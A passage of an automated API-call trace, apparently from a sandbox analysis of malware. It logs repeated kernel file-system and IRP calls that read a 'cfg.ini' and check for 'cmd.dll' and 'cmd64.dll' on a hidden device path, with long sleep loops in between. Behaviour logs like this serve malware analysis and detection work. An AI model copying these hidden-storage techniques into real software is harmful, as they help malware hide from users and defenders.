Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.509] IdePortDispatch () returned 0x103 [0117.509] KeWaitForMutexObject () returned 0x0 [0117.509] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.510] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.510] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.510] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.510] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.510] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d9560 [0117.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.510] KeLeaveCriticalRegion () [0117.510] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.510] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.510] KeEnterCriticalRegion () [0117.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.510] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.510] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.510] KeLeaveCriticalRegion () [0117.510] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.510] KeEnterCriticalRegion () [0117.510] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.510] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.510] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.510] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.510] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.510] IdePortDispatch () returned 0x103 [0117.510] KeWaitForMutexObject () returned 0x0 [0117.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.511] KeLeaveCriticalRegion () [0117.511] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.511] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.511] KeEnterCriticalRegion () [0117.511] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.511] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbe000 [0117.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.511] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.511] IdePortDispatch () returned 0x103 [0117.511] KeWaitForMutexObject () returned 0x0 [0117.511] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.511] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.511] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.511] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.511] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.511] IdePortDispatch () returned 0x103 [0117.511] KeWaitForMutexObject () returned 0x0 [0117.511] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.512] KeLeaveCriticalRegion () [0117.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.512] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.512] KeEnterCriticalRegion () [0117.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.512] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.512] KeLeaveCriticalRegion () [0117.512] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.512] KeEnterCriticalRegion () [0117.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.512] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.512] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.512] KeLeaveCriticalRegion () [0117.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.512] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.512] KeEnterCriticalRegion () [0117.512] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.512] ExFreePoolWithTag (P=0xfffffa80039d9560, Tag=0x0) [0117.512] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.512] KeLeaveCriticalRegion () [0117.512] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.513] ReleaseMutex (hMutex=0xf0) returned 1 [0117.513] Sleep (dwMilliseconds=0x124f80) [0117.527] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.527] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.527] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.527] KeEnterCriticalRegion () [0117.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.527] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.527] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.527] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.527] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.527] IdePortDispatch () returned 0x103 [0117.527] KeWaitForMutexObject () returned 0x0 [0117.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.528] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.528] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.528] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.528] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.528] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d96c0 [0117.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.528] KeLeaveCriticalRegion () [0117.528] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.528] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.528] KeEnterCriticalRegion () [0117.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.528] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.528] KeLeaveCriticalRegion () [0117.528] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.528] KeEnterCriticalRegion () [0117.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.528] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.528] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.528] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.528] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.528] IdePortDispatch () returned 0x103 [0117.528] KeWaitForMutexObject () returned 0x0 [0117.528] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.528] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.528] KeLeaveCriticalRegion () [0117.528] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.528] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.528] KeEnterCriticalRegion () [0117.528] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.529] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc3000 [0117.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.529] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.529] IdePortDispatch () returned 0x103 [0117.529] KeWaitForMutexObject () returned 0x0 [0117.529] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.529] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.529] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.529] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.529] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.529] IdePortDispatch () returned 0x103 [0117.529] KeWaitForMutexObject () returned 0x0 [0117.529] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.529] KeLeaveCriticalRegion () [0117.529] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.530] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.530] KeEnterCriticalRegion () [0117.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.530] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.530] KeLeaveCriticalRegion () [0117.530] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.530] KeEnterCriticalRegion () [0117.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.530] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.530] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.530] KeLeaveCriticalRegion () [0117.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.530] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.530] KeEnterCriticalRegion () [0117.530] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.530] ExFreePoolWithTag (P=0xfffffa80039d96c0, Tag=0x0) [0117.530] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.530] KeLeaveCriticalRegion () [0117.530] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.530] ReleaseMutex (hMutex=0xf0) returned 1 [0117.530] Sleep (dwMilliseconds=0x124f80) [0117.544] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.544] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.544] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.544] KeEnterCriticalRegion () [0117.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.544] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.544] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.544] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.544] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.544] IdePortDispatch () returned 0x103 [0117.544] KeWaitForMutexObject () returned 0x0 [0117.544] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.544] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.544] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.544] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.544] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.544] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d92c0 [0117.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.544] KeLeaveCriticalRegion () [0117.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.544] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.544] KeEnterCriticalRegion () [0117.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.544] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.544] KeLeaveCriticalRegion () [0117.545] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.545] KeEnterCriticalRegion () [0117.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.545] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.545] IdePortDispatch () returned 0x103 [0117.545] KeWaitForMutexObject () returned 0x0 [0117.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.545] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.545] KeLeaveCriticalRegion () [0117.545] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.545] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.545] KeEnterCriticalRegion () [0117.545] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.545] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc8000 [0117.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.545] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.545] IdePortDispatch () returned 0x103 [0117.545] KeWaitForMutexObject () returned 0x0 [0117.545] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.545] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.545] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b87f40 [0117.545] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0117.545] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0117.545] IdePortDispatch () returned 0x103 [0117.546] KeWaitForMutexObject () returned 0x0 [0117.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.546] KeLeaveCriticalRegion () [0117.546] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.546] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.546] KeEnterCriticalRegion () [0117.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.546] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.546] KeLeaveCriticalRegion () [0117.546] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.546] KeEnterCriticalRegion () [0117.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.546] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0117.546] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039d9380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0117.546] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.546] KeLeaveCriticalRegion () [0117.546] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.546] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.546] KeEnterCriticalRegion () [0117.546] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.547] ExFreePoolWithTag (P=0xfffffa80039d92c0, Tag=0x0) [0117.547] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.547] KeLeaveCriticalRegion () [0117.547] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.547] ReleaseMutex (hMutex=0xf0) returned 1 [0117.547] Sleep (dwMilliseconds=0x124f80) [0117.562] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0117.562] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0117.562] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.562] KeEnterCriticalRegion () [0117.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.562] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0117.562] IdePortDispatch () returned 0x103 [0117.562] KeWaitForMutexObject () returned 0x0 [0117.562] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.562] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.562] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0117.562] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0117.562] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0117.562] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039c1340 [0117.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.562] KeLeaveCriticalRegion () [0117.562] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.562] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.562] KeEnterCriticalRegion () [0117.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.562] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0117.562] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.562] KeLeaveCriticalRegion () [0117.562] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0117.562] KeEnterCriticalRegion () [0117.562] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.562] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0117.562] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0117.562] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0117.562] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0117.562] IdePortDispatch () returned 0x103 [0117.563] KeWaitForMutexObject () returned 0x0 [0117.563] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0117.563] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0117.563] KeLeaveCriticalRegion () [0117.563] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0117.563] _snprintf (in: _Dest=0xfffff880028da770, 